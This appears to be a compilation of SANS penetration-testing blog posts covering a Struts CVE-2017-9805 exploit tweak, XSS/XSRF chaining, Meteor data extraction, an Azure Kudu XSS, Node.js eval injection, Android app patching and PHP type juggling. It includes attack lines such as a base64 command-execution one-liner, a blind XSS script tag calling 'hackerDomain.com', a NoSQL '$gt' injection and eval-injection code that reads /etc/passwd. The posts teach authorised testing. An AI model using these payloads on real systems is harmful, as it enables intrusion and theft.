Why You Need the Skills to Tinker with Publicly Released Exploit Code

By Chris Davis

If you are a security enthusiast, like me, then you likely find yourself tinkering with exploit code for most of the major vulnerabilities that are released. This “tinkering” can be incredibly valuable to security researchers, blue teamers, and especially penetration testers. In fact, I frequently find myself modifying and testing public exploit code during penetration tests.

The reason for modifying this code is most often due to the fact that a lot of exploit code written for websites like “exploit-db.com” are proof-of-concept scripts that show a concept, but don’t exploit it flexibly or as efficiently as they could. For example, when the Equifax breach came out, I set up a lab with several of the major Apache Struts vulnerabilities from 2017 for testing purposes. CVE-2017-5638 and CVE-2017-9805 were two easily testable exploits thanks to Metasploit having modules available.

Normally Metasploit is highly modular and achieves what I need but that’s not always the case. In this instance, the module in question was limited to reverse call back payloads. While such payloads are very useful, it’s very common for reverse connections from DMZ servers to be blocked. On top of this, it assumes that you also have a public IP to catch the call back on or perhaps in-bound firewall filtering is in place to block bind shells. These are all examples of instances where pulling down publicly released exploit code and modifying it would come in handy.

Problems facing some publicly released proof-of-concept exploit code is that it is often created without giving any major thought to user error, how applications function, or countless other factors. CVE-2017-9805 was a perfect example of this as Metasploit didn’t solve my reverse call back issue. Additionally, the sample public exploit code I found for it didn’t properly handle special characters due to the payload being XML and would break if a user-supplied command contained certain special characters.

Challenges Of Modifying CVE-2017-9805 Exploit Code

The Apache Struts 2 REST Plugin XStream RCE (CVE-2017-9805) uses an XStream handler to deserialize without type filtering of XML payloads. As such, a properly crafted XML payload could allow an attacker to send a specially crafted HTTP request to achieve command execution.

The problem with most of the public exploit code I found was that it wasn’t
object-oriented and simply did string concatenation to insert the user supplied command in-between the XML payload without accounting for special characters that break XML.

A quick example of XML without special characters:


<to>Nick Burns</to>


<heading>Need Help Cant Print</heading>

<body>Cant print out. Need computer help </body>



Now what happens if we pass in special characters as simple as a text emoji of “>_> “?


<to>Nick Burns</to>


<heading>Need Help Cant Print</heading>

<body>Cant print out. Need computer help >_> </body>



The unencoded “>” characters near the end would likely throw off our payload. This is likely to happen in a user supplied command as the greater than symbol “>” is often used to direct standard out to a file in Linux. The XML format uses entity encoding similar to HTML to account for this. For example, if we wanted to encode the greater than sign “>” for XML, we would convert to “&gt;”.

The problem with this encoding when trying to achieve command execution through struts is that it will not interpret these characters to the system as the intended greater than sign “>”; which breaks our command execution.

This means we need to:

1. Encode special characters without using XML encoding

2. Decode that on the command line and execute it without using any special characters that would break XML.

We could base64 encode the user supplied command (since base64 characters don’t break XML) and decode that on the command line into a file, then execute that file with /bin/bash and then remove that temporary file all while avoiding special XML characters. For example, the following one-line command could achieve this:

echo L3Vzci9iaW4vd2hvYW1pIA==| base64 -d | tee -a /tmp/payload.tmp ; /bin/bash /tmp/payload.tmp; /bin/rm /tmp/ payload.tmp

Finally, we embed this command in our XML payload and our vulnerable apache struts server will execute the user’s base64 encoded command regardless of any special characters in their supplied command. A sample of the finished version of the exploit code for CVE-2017-9805 can be found here:



The above example a perfect illustration of why having the skills to interpret and modify public exploit code “on-the-fly” is so critical a skill to possess. This is especially true of penetration testers and is often what separates “Script Kiddies” from the proficient security professionals.

-Chris Davis
Counter Hack

Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Modern Web Application Penetration Testing Part 1, XSS and XSRF Together


By: Adrien de Beaupre


I enjoy performing penetration tests, I also enjoy teaching how to do penetration testing correctly. I will be teaching SANS SEC642: Advanced Web App Penetration Testing, Ethical Hacking, and Exploitation Techniques at many events this year. This is one of the many techniques that I will be exploring in this series of posts. When I am teaching one of the points I make is to never consider the vulnerabilities in isolation, using them in combination truly demonstrates the risk and impact. My team were performing a web application penetration test, and the list of things that it was vulnerable to was quite impressive!


The list of vulnerabilities:

  • Content can be framed
  • XSS
  • Method interchange
  • DoS, application hangs on long abnormal inputs, relies on client side validation
  • Able to upload files, including malicious content
  • Information leakage, internal server names, IP addresses, install locations…
  • XSRF
  • User enumeration via forgot password function
  • Administrators can disable their own account

We had determined that the primary threat would be for a user to escalate privileges and access information from other accounts. In order to achieve this goal we concentrated on the persistent XSS and XSRF. We would use the persistent XSS to launch the XSRF attack. We leveraged all of the vulnerabilities in one way or another, in other words, we were having a good time! Once you have XSS in an application all that you need is one or more attractive transactions to be performed. We find that XSRF is the best XSS payload there is.

Using the persistent XSS:

  • Create trouble ticket
  • Ticket will be first viewed by administrator
  • Script executes in the administrator browser
  • Administrator can perform all of the functions vulnerable to XSRF

A significant number of the functions were vulnerable to Cross Site Request Forgery (CSRF or XSRF), which is also known as session riding and transaction injection. The functions that were vulnerable had absolutely no anti-XSRF protection, and the interesting ones were all in the administrator part of the site.

An attacker could add a new user, put the user in the administrator group, change the passwords, and log out. The problem was, each of these were different transactions, and had to be performed in the correct order to pull off the attack. The application owner and the development team did not appreciate the severity of the issue, and pointed out that their automated scanning tool had not identified the issue, therefore it didn’t exist. Even if the issue did exist, it could only be of medium severity, because their tool said so. To top it all off, even if an attacker could pull off this mythical attack, it could not be done in one shot, the administrator had to click multiple times. In short, they did not appreciate the impact, the attacker would have complete control over the application. In order to make our point a demonstration was in order, that did the following:

  • Add a new user
  • Put the user in an administrator group
  • Lockout the super-user account
  • Logout the super-user account
  • Did the functions in the correct order
  • Each function would wait for the last to complete
  • Was all in one HTML page
  • Could be delivered as a single XSS payload
  • Would force the administrator to view a certain Rick Astley video :)
  • OK, we didn’t do the last one, that would be WAY too mean.

Google-fu was with us that day, we discovered a post by Tim Tomes (lanmaster53) that described exactly what we wanted to do. He also had sample code to start with:


The next problem was that obviously we could not use their custom application to do the proof of concept, but needed another application with similar vulnerabilities to demo for this post. Once again the force of Google-fu was with us:


Omeka is a free and open source web publishing application. Also quick and easy to install. Also quick and easy to exploit. Last, but not least, we could download the vulnerable version 2.2 and be up and running in no time.


Administrator (victim) logs into the application:

modern_beaupre01Click image for full-size


The add user function as seen in an interception proxy (OWASP ZAP):

modern_beaupre02Click image for full-size


The Add User function was just one of many that were vulnerable to XSRF, with no protection as shown above. The api_key_label POST parameter id not sanitized, it is our persistent XSS vector. The administrator would have to invoke that function for the code to run. The code used is shown below in a PDF format.
The code running:

modern_beaupre03Click image for full-size


Now the code. The important parts are getting the script to run, we used a body onload. The script runs each one of the forms. The forms each contain one of the XSRF attacks. Each form loads in a different iframe. The first one runs, then the second one waits from the iframe onload to fire before it runs, and so on. Victim logs in, they check their queue, the XSS runs, the XSRF runs, they have lost control of the application, attacker win, or in this case a very effective demonstration of risk.

I am teaching SEC642: Advanced Web App Penetration Testing, Ethical Hacking, and Exploitation Techniques at multiple SANS training events around the world in 2018.

Adrien de Beaupré
Intru-shun.ca Inc.
Certified SANS Instructor https://www.sans.org/instructors/adrien-de-beaupre
Co-author of SANS SEC642: Advanced Web App Penetration Testing, Ethical Hacking, and Exploitation Techniques





CODE – PDF Format (Copy & Paste):



Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Mining Meteor

By Tim Medin
SANS Instructor & Counter Hack Engineer

Meteor is a game-changing framework for rapid software development and is the top-rated web framework on Github. Meteor offers a number of benefits including offering real-time applications by default. With its great benefits, we are likely to see more Meteor applications…

…And you should know how to hack it!

Meteor Basics

TL;DR: The client pulls data with a subscription from a corresponding publication. All rendering takes place on the client. The client has all the code for the site to render the data.

Sometimes too much data (or code) is sent to the client even though it isn’t displayed. If the client pushes too much data, either documents (rows in a traditional RDMS) or fields, we can exploit that. The data doesn’t have to be rendered to extract it from the server. The data is sent to and from the server using a protocol called the Distributed Data Protocol (DDP). DDP handles both data synchronization as well as remote procedure calls. We get nicely typed data in our minimongo database in the browser. We can extract the data using the methods described below.

Extracting the Data

We can extract the local collections (collections are analogous to traditional RDMS tables) using the following JavaScript console command:


To extract the data from the collections we can use:


Or list the subscriptions:


Automation with Tampermonkey & Meteor Miner

We can extract the data manually or by running scripts in the context of the page. To automate the process, we need to be able to access the JavaScript variables, but unfortunately Firefox and Chrome WebExtensions don’t allow access to JavaScript variables. IMHO, this is a silly separation. Extensions can already manipulate the entire DOM. I don’t understand why this provides any signification security difference…but I digress.

Fortunately, the Tampermokey script allows access to JavaScript variables. I wrote a Tampermonkey script to extract information from Meteor sites and posted it on my github page.  I call the project “Meteor Minor.”

This script grabs information from the site, including the names of templates (analogous to pages), the template helpers (functions in the a template), subscriptions, and collections.


MeteorMiner can be used to find paths that are used with Iron Router. As a pen tester, we access these pages and see if authentication is properly implemented and that the associated pub/sub is properly filtered. In the MeteorTodosGoat application, the /admin/users route exists even though there is no link to it in the interface.


MeteorMiner analyzes the collections and looks for unique field sets. If the data has a non-uniform shape it is noted next to the collection. This can be helpful to find unique data that may have leaked. To see the field types in MeteorMiner simply click on the collection name in Meteor Miner.


You can use MyCollectionName.find().fetch() to access the all data in the collection and look for any sensitive information. In the MeteorTodosGoat application the password hash in “accidentally” pushed to the client since the developer didn’t 1) restrict access to the data even though the page is not accessible and 2) didn’t filter the sensitive fields from publications.



Active subscriptions and the parameters passed to the subscriptions are listed in Meteor Miner.


The publication and parameters can be fuzzed to see if there is a way to extract extra data from the web server. For example, in the JavaScript console we could try the following:

Meteor.subscribe('list', {$gt: ''})

In MeteorTodosGoat it will extract all the Todo Lists from the database.



While Meteor and NoSQL do offer a lot of protections against some of the common attacks (traditional SQL injection and XSS), there are still ways we can attack these systems. In some ways, it can be even easier to attack modern apps as so much processing is done on the client.

I do believe that pen testing Meteor-based applications is growing increasingly important, and I hope you have fun conducting such projects in the near future.

    – Tim Medin

Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Azure 0day Cross-Site Scripting with Sandbox Escape

[Editor’s Note: Chris Dale is an amazing gentleman.  He finds Cross-Site Scripting (XSS) flaws in the most interesting and wonderful places.  In this article, Chris shares some insights into his methods and how he applied them in finding a zero-day XSS flaw associated with Microsoft Asure.  Good reading! –Ed.]

By Chris Dale

Earlier in 2016, I found an interesting attack vector, specifically targeting websites deployed through Azure web-apps, Microsoft’s cloud platform. The vulnerability allows an attacker who has already compromised a site, to further attack any administrator of the SaaS platform. The vulnerability has since been patched, allowing us to talk about the vulnerability and techniques involved.  I’d like to share my approach and findings with the hope that they will provide tips and ideas to other penetration testers looking for similar flaws as you work to improve the security of cloud-based systems.


When it comes to security vulnerabilities, it’s especially important that we give considerable focus and scrutiny to our cloud providers considering the vast dangers and implications that reside in techniques such as sandbox escape and attacks against the infrastructure at large. Today, it is trivial for a company to tag itself as a “cloud” vendor; however, what we need to realize is that, for the most part, using the “cloud” is simply using someone else’s server. This is much the same as it has always been when using hosting providers, ASPs, and more. Really, what has changed?

We need to ask  ourselves, what dictates and determines whether you are a cloud vendor or not?  Well, there really isn’t much.  Most of the responsibility lies on us, the client, to ask the right questions regarding maturity, security and operations, before we sign any contracts with our potential cloud vendor. Luckily, several helpful tools and organizations already exist. Although these are not a protection from 0-day attacks that we’ll describe later in this post, it is a higher guarantee that they are at least doing something right on the inside. For questionnaires that you can use to evaluate your cloud vendor check out:

Using Microsoft Azure as your Cloud Platform

Azure is Microsoft’s public cloud platform, hosting services ranging from Infrastructure-as-a-Service, Platform-as-a-Service, Software-as-Service, and many more variants. The following illustration shows how Azure can be used to host SaaS services such as re-selling a WordPress system to their client. I’m using  Wordpress as an example here:


The SaaS vendor will use its credentials to access and authenticate to the Azure management portal and the same credentials to access the Kudu engine. Kudu allows for many great debugging tools and even allows you to spawn command shells and PowerShell to help troubleshoot and deploy to your SaaS setup. Keep in mind, only the SaaS vendor (Azure management) credentials will allow you to use Kudu, not the WordPress administrator credentials.

The WordPress site is just your everyday web application, nothing special or fancy, just your regular site deployment in the cloud. An important concept with shared hosting providers (i.e., cloud) is that the web site should be fully segregated from others on the same environment, for example:

  • Other sites and customers inside the Cloud environment.
  • The SaaS administration panels.

Consider the danger if a potential mischievous site administrator could leverage its access on the SaaS platform to compromise other customers on the environment, or even the SaaS administrators themselves! An attacker would merely need to become a legitimate paying customer in order to attack without having to find weaknesses in the platform or the deployments themselves. The only thing your SaaS should be able to interact with is itself, users of the site, and explicitly defined shared resources (e.g., appropriate databases).

In theory, the SaaS vendor themselves, or other clients, should never be compromised if any other SaaS customer has a security breach. However, Azure allowed such an attack to manifest.  Let’s check it out.

Breaching the Sandbox

The scenario of having to trust your clients running proper and secure code is not a welcoming thought, so the segregation between SaaS vendor and the website code is paramount. This attack proves how an attacker could hack the website, and then proceed to attack the SaaS administrators themselves.

I discovered this attack while doing a penetration test for one of my customers. In my testing efforts I found a command injection flaw, allowing me to run commands on the platform. This is of course a highly critical finding; however, during the abuse of the vulnerability, I found that several of the commands I executed made the process and website hang indefinitely, essentially causing a denial of service effect. One of those commands was the “tasklist” command. When running “tasklist”, the webpage simply hung indefinitely until the thread was killed or timed out.

Seeing the denial of service condition sparked me into some investigation on the backend page. We used the Kudu administration panel to investigate why the process was hanging and also killed it to avoid further denial of service. This is how that looks:


This is where I got the idea for stage two of the attack, namely attacking the Kudu administrator through the command injection. I, as the attacker, can control the processes being displayed in the overview above. What if I could create a file which contained legitimate Javascript code in its name? Unfortunately, filenames can’t have the special characters such as < and > in them for that attack to work; however, opening up the properties of a process we can see the entire environment of the process. And from within our command injection, we can set environment variables! Hopefully by now you will see the potential attack avenue. Unless the proper filtering is taking place, we might have a shot of getting some Javascript into an admin’s browser! Here’s a screenshot with a new environment variable set:Blog-3

Very interesting! Instead of setting an empty variable, we set the value to contain legitimate Javascript using my previous command injection, and my corresponding backdoor called cad.php:

Blog 4

The URL shows how I leverage my backdoor script to run the “set” command, which just shows or sets environment variables, to set a new environment variable called “HACK” with the value “<script>alert(1)</script>”. Furthermore we see a URL encoded ampersand (%26 equals &) effectively chaining the command “tasklist”. This sets up the attack.

First, I set the environment variable using an XSS payload. Then I make sure the environment is persistent and hanging the process. This will trigger a potential administrator to try to debug the problem, thus getting compromised by the unauthorized Javascript being executed in his browser. The following screenshot shows how a simple Javascript alert(1) payload has been executed inside the SaaS administrator’s browser:

Blog 5

From here, an attacker would try to tailor a specific payload to target an Azure SaaS administrator. Instead of creating a simple popup using the alert function, one could rather include a third party Javascript exploit kit, such as BeEF, the Browser Exploitation Framework project. This framework allows us to easily demonstrate the risks of having an XSS vulnerability present on our systems and is commonly used by penetration testers to demonstrate the risks of unauthorized Javascript execution in our browsers. Some of the amazing features of BeEF are highlighted in the list below:

  • Stealing cookies
  • Metasploit integration for browser exploitation
  • Social Engineering, e.g., popping up a session expired message trying to get the user to re-authenticate
  • Proxy requests through a victims web-browser
  • Port scanning the internal network
  • Cross-Site Request Forgery to internal sites
  • And so much more!

    For further reading on BeEF, check out the project’s homepage.

Finding your own Sandbox Escape Exploits

In order to discover vulnerabilities present in third party apps such as control panels, log viewers, and more, we need to think outside the box. Since we’re flying blind, there’s no easy way to get feedback from the application that our payload has been executed. We have to consider where our data might end up, perhaps even at a third-party application. This is where it gets hard but far from impossible. Such exploits are often called blind exploitation, with example possibilities including blind XSS or blind command injection.

A couple of ideas for testing for out-of-band exploits as these is to reference your payloads to your own system, using different unique values for each payload. As the payload is executed in an out-of-band channel, it will make a request to your server indicating it’s execution.

For example, consider spraying your application with XSS references to a unique Javascript located at your own remote server. By tailing your web server’s access log, you can easily see when a payload is executed, cross-reference the payload with your unique value you embedded inside it for making its HTTP request, and then figure out which field you exploited that lead to the callback connection to your web server. Such an example payload could be a simple Javascript remote reference like <script src=http://hackerDomain.com/UniqueValue.js></script>.  Once you see someone requesting this resource from your web server, you immediately know that your XSS payload has been successfully executed somewhere, allowing you to further elevate your attack.

For command injection you can use similar techniques. Consider spraying the application with references to a unique domain name you control. If you ever see a DNS request coming in to your nameserver that is trying to look up the unique value you have referenced, you immediately know that in some way or another, your payload has caused the DNS request to go through back to yourself, perhaps allowing command injection. Even better, spray the application with commands trying to ping back to your unique DNS name, e.g. uniqueValue.hackerDomain.com, or simply inject a ping for your IP address, and then sniff for ICMP Echo Requests. If you see any ICMP messages coming in to this host, you know that your payload has been executed, perhaps hours or days after you initially launched your attack.

In fact, the superb product Burp Suite from Portswigger does exactly this. Its active scanner module will spray different unique values throughout the application, referencing unique sub domains at burpcollaborator.net. If at any point your scanning activities results in any request referencing your unique subdomain, you know that your payload has been executed. When that happens, you know you’re winning! 😀


With that, I encourage you all to get started testing your cloud vendors. There are many vendors that should be scrutinized and tested! Remember though, always get permission first. Good places to start getting permission are at bug bounty programs. A lot of vendors today volunteer to have their sites tested for security vulnerabilities, and in many cases also provide cash payouts for vulnerabilities that you responsibly disclose to them. A couple of such bug bounty programs are:

And remember, when doing penetration testing, always remember to think outside the box!

Blog 6

Thank you for reading!

-Chris Dale

Pen Testing Node.js: Staying N Sync Can Make the Server Go Bye Bye Bye

By Tim Medin

I recently came across a node.js server in a pen test. If you aren’t familiar with node.js, Wikipedia describes it as “…an  open-source,  cross-platform  runtime environment  for developing  server-side  web applications. Node.js applications are written in  JavaScript  and can be run within the Node.js runtime on a wide variety of platforms.”

For my pen test, there was JavaScript everywhere! JS on the Server, JS on the client, JS from the server to the client, JS from the client to the server….

Wait a second! This app is sending JavaScript (actual code, not data) from the client to the server. Uh Oh! Time for some code injection (or more accurately Server Side JavaScript Injection, SSJI or SSJSI).

Of course I can’t share the code I was testing with you, so let’s run through a similar scenario in the NodeGoat.js.


The data posted in this page looks like this:


To test for code injection, we could simply change one of the zeros to 1+1 (encoded as 1%2b1) and see if the results are stored as 2.



Success!  Yay!

Let’s take a look at the backend file (contributions.js) to find the vulnerability.

this.handleContributionsUpdate = function(req, res, next) {
    /*jslint evil: true */
    // Insecure use of eval() to parse inputs
    var preTax = eval(req.body.preTax);
    var afterTax = eval(req.body.afterTax);
    var roth = eval(req.body.rot);

The problem is that the code uses eval() on data submitted from the user. We need better JavaScript to extract information from the server. If we look at the NodeGoat tutorial,  it describes a few ways to cause a denial of service condition by using all the processor time, blocking the thread, or killing the current process. Of course, we want to avoid a DoS condition.

The tutorial also describes how we can access the file system with this code:

Current directory contents


Parent directory contents


Contents of a file


But wait a second! The server is single threaded and we are calling the synchronous methods (notice “Sync” in the name). These functions will wait until the read operation is done before passing execution back to Node. If you happen to read a large file (or accidently read a special file or fifo) the whole server will hang. Let’s test by reading /dev/random.


…And it hangs…


Of course, we would avoid this file but you may accidently end up reading the wrong file or a large file and hanging the server. The more robust and safer solution is to use an asynchronous call to read files. The asynchronous calls need a callback function  to handle the processed data. Below is a post that will read /etc/passwd with an asynchronous call.


Pretty formatting of the read function looks like this:


The anonymous callback function is run after the file has been read. If the read is successful (no error), then the contents are output. We can automatically encode the file contents (of a binary file) by adding an encoding option (base64 in the example below).


And if we accidently read a large file it doesn’t kill the server…. Oh yeah!  Nice!

SSJI vulnerabilities give us a lot of access to the server, but be very careful. The synchronous code is much easier to write, but it can DoS the server if used incorrectly.

So, have fun testing for Server-Side Javascript Injection, but remember to be careful not to hang the target machine!

-Tim Medin

Counter Hack

Modifying Android Apps: A SEC575 Hands-on Exercise, Part 1

By Joshua Wright



As a security professional, I’m called on to evaluate the security of Android applications on a regular basis. This evaluation process usually takes on one of two forms:

  • Evaluate app security from an end-user perspective
  • Evaluate app security from a publisher perspective

While there is a lot of overlap between the two processes, the difference effectively boils down to this: whose risk perspective does my customer care about the most?

When an app publisher wants me to evaluate the security of their Android app, I need to determine if the app employs sufficient controls to protect the required app functionality and publisher brand. Often, this requires me to identify critical app components (critical for my customer, such as how they make revenue from the app, or the integrity of the data transmitted by the app), and determine if I can manipulate them in interesting ways.

As a guide, I developed an Application Report Card system to steer an analyst through the application evaluation process. One of these tasks is to manipulate the Android application by modifying the low-level Smali bytecode, removing the intended publisher functionality.

Blog 1a

In my SEC575: Mobile Device Security and Ethical Hacking course, we use a custom application, IsItDown as our evaluation target. In the exercise, participants have to install and run the application to identify the app functionality and constraints, then decompile, modify, reassemble, and re-sign the application so the app can be used without restrictions.

In this 2-part article, we’ll take a peek at the SEC575 hands-on lab exercise for modifying Android apps. In the first part, we’ll take a look at how we can leverage the Apktool utility to decompile an Android app, followed by a quick primer on reading Smali code. In the second part, we’ll generate custom keys to sign the modified application so that it can be used on a virtual or physical Android device, and look at defense techniques.

Feel free to download the IsItDown application and follow along. You’ll also need the following tools for your system:

Evaluate the App


After starting a virtual Android device (or connecting your physical Android device over USB), use the adb utility to install the IsItDown.apk application as shown above. Next, run the app and experiment.

IsItDown is a basic IsItDownForJustMeOrForEveryoneElseToo app… except it’s only testing from your mobile device. Frankly, it’s not that useful, but it serves our needs fine.

If you are working from a virtual device, you’ll quickly be disappointed. Not only does IsItDown have an obnoxious banner ad on the bottom of the page, it only teases you with the promise of functionality before it tells you to go away.


Our goal here is modify the Android application to allow us to run in the Android Emulator, and to remove that annoying banner ad.

Decompile the App

First, we’ll use Apktool written by Ryszard Wisniewski and Connor Tumbleson to convert the IsItDown.apk file into Smali code. Smali code is a representation of the app code using the Android Dalvik opcodes – essentially an intermediate representation of the code between the original Java source and the processor-specific assembly instructions. Apktool allows us to take the Android APK file, convert it into a Smali source representation that can be modified, and then recompile it back into a new APK file.

Note: The pedantic reader will no doubt be questioning my use of “decompile” as a verb here. Converting an Android APK file to Smali code is not quite decompilation, but it’s not quite disassembly either. It’s somewhere in the middle. I’ll keep using decompilation, since you are getting a high-level representation of the app code in the Smali file, but if you are more comfortable with the decompilation verb, feel free to search+replace this article.

Apktool isn’t so much a hacking tool as it is a mechanism to evaluate Android applications. Sure, people with ill intent can manipulate an application for evil purposes, but it can also be used for Android application troubleshooting, and for the localization (adding local language support) for applications as well. Don’t use it to do evil things, OK? (Ed.: I second that.)

Blog 2a

Make sure you have apktool.jar (renamed from apktool-2.0.0.jar), apktool.bat and IsItDown.apk all in the same directory (or put apktool.jar and apktool.bat in your system PATH somewhere). Next, use apktool.bat to decompile the APK file, as shown here:

Blog 4

Apktool will generate a new directory IsItDown that holds the application resources, AndroidManifest.xml declarations, the original signature information from the developer, and the Smali code itself.


Modify the App

Browsing to the smali directory, we’ll see a directory structure created for the application package names (e.g. com/willhackforushi/isitdown/). For our simple application, only a handful of Smali files are generated, as shown here:

Blog 3a

Most of these Smali files include auto-generated code, so we don’t have to look through all of them. First, let’s search for a reference to the string “No emulator use permitted.” using the Windows findstr.exe utility:

Blog 4a

Here we see the string is in the MainActivity.smali file. This is unusual; typically, string values will be defined in the res/values/strings.xml file, making it easier to localize the application. Here, the developer just got lazy, and embedded the string directly in the Java source. This makes it a little easier for us to evaluate the Smali code though: simply open the MainActivity.smali file with your favorite editor and skip to the line where the string is defined.

Blog 6

At this point, if you’re not a developer, or have never seen Smali code before, you might be like “WTW? I’m supposed to read this?”. Have no fear! You just need to know a few things about Smali:

  • Smali uses declared registers as placeholders for objects, variables. v0 is a local register, p0 is a parameter register (e.g. something passed to the function/method)
  • Syntax in Smali is always destination, then source
  • Object types are specified with a capital letter at the end of the object or method:
    • V – Void
    • Z – Boolean
    • B – Byte
    • S – Short
    • C – Char
    • I – Int
    • J – Long (64-bits)
    • F – Float
    • D – Double (64-bits)
    • L – Object

A cheat sheet is a useful thing to have as well, that explains common Smali opcodes and their functionality. Here’s one from my SEC575 course!

Blog 8

Finally, the reference maintained by Gabor Paller at http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html is awesome, and frankly, is how I learned to read Smali code. You should bookmark that link!

Looking at that Smali code, there is a lot of stuff we don’t care about. We know that the application shows us an error “Go away” and refuses to run. Logically, before that message is displayed, we should see some code that determines whether or not to display that error. Sure enough, check out line 350:

Blog 9

Line 350 invokes a method calls isEmulator() which returns a Boolean value (see the big “Z” at the end?). The Boolean result is moved to the v13 register, and then the if-eqz opcode  determines if the value is 0 (or “False”). If v13 is equal to 0, then the code jumps to the code_0 block. Otherwise, we get the nasty “No emulator use permitted.” message.

Not so hard, right? Knowing this, we can make a simple change to this code. Consider this small “fix”:

Blog 11See what I did on line 354? I changed if-eqz to if-nez, effectively inverting the test. Now, even though isEmulator() still returns True on emulated devices, the code behaves as if it the device were not an emulator, jumping to the cond_0 block.

This is not completely desirable, since this change would invert the test, and break the functionality for legitimate devices that install the modified IsItDown.apk file. You could modify the isEmulator() method to always return False as another option, but this is what I ended up doing:

Blog 12

On line 354 is the original if-eqz test, and then I added the inverted test immediately afterward. This way, regardless of what the isEmulator() method returns, the code always skips the “No emulator use permitted” message. It’s a little hackish, but it gets the job done. (Ed.: Did Tom Liston teach you that, Josh?)

Next up: removing that banner ad. Banner ads are usually displayed in a WebView object, which is effectively a little tiny web browser in the app. Searching for the string “http:” reveals two references that look like the source of our advertising:

Blog 13

Searching for that same string in the MainActivity.smali and MainActivity$1.smali files reveals code like this:

Blog 14

In this example, line 268 loads the reference to the WebView in the v2 parameter, while line 270 loads the ad URL in the v3 parameter. Line 272 loads the URL content into the WebView. Easy enough to change that behavior:

Blog 15

Simply commenting-out the invoke-virtual opcode that fills the WebView is enough to cause the banner ad to stop loading. Repeat this step for both MainActivity.smali, and MainActivity$1.smali and you’re done!

Concluding Part One

In this first part of our article, we saw how Apktool can be used to decompile an Android application, and looked at the Smali code with a focus on changing the code to overcome Android emulator restrictions and to disable an annoying banner ad. In Part Two we’ll pick up where we left off and re-build the application and sign it with the Java Development Kit utilities so we can run the modified app on an emulated or real Android device. Finally, we’ll address defensive techniques that you can use in your next Android pen test report with suggestions to pass on to Android developers, and briefly discuss how Android testing can also be useful when evaluating iOS targets.

Until next time,



Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

PHP Weak Typing Woes — With Some Pontification about Code and Pen Testing

By Josh Wright

The other day I was reading Jos Wetzels‘ post on the Full Disclosure mailing list regarding a vulnerability in the open source social networking kit HumHub.  One of the issues he pointed out was a PHP ‘type juggling’ attack where an attacker can force a password reset against HumHub for a user many times until a specific value is selected that reduces the password entropy (uniqueness), allowing her to access accounts without authorization.

I have not previously worked with HumHub, but the illustrative code Jos pointed out was intriguing (press CTRL+C to close the cat output after the closing PHP ?> tag):

$ cat >bahhumhubbug.php 
 if (md5('240610708') == md5('QNKCDZO')) {  print "Yes, these are the same values.\n"; 
$ php bahhumhubbug.php 
Yes, these are the same values.

Huh? No, those are not the same values:

$ echo -n 240610708 | md5sum 
$ echo -n QNKCDZO | md5sum 

The issue here is related to how PHP performs type checking.  Being the friendly language it is, PHP attempts to convert variables of different types in a way that makes comparison work as the programmer might expect*.  For example, consider this “math”:

$ cat >math.php
<?php print('5' + 8); ?>
$ php math.php

Here, PHP adds a string ‘5’ to the integer 8. This is intuitive for a lot of people, since 5+8 is indeed 13.  The magic of PHP is that these two values are of different types, but PHP accommodates the addition anyway.  Contrast this with a strong typed language like Python:

$ python -c "print '5' + 8"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
TypeError: cannot concatenate 'str' and 'int' objects

PHP is convenient in this way; if you accept a numeric input in a HTTP POST value, for example, you can treat it as an integer if it fits any of the loose typing rules PHP uses for integers.  For beginning programmers, this allows them to sidestep any type conversion routines necessary to force data into a specific type.

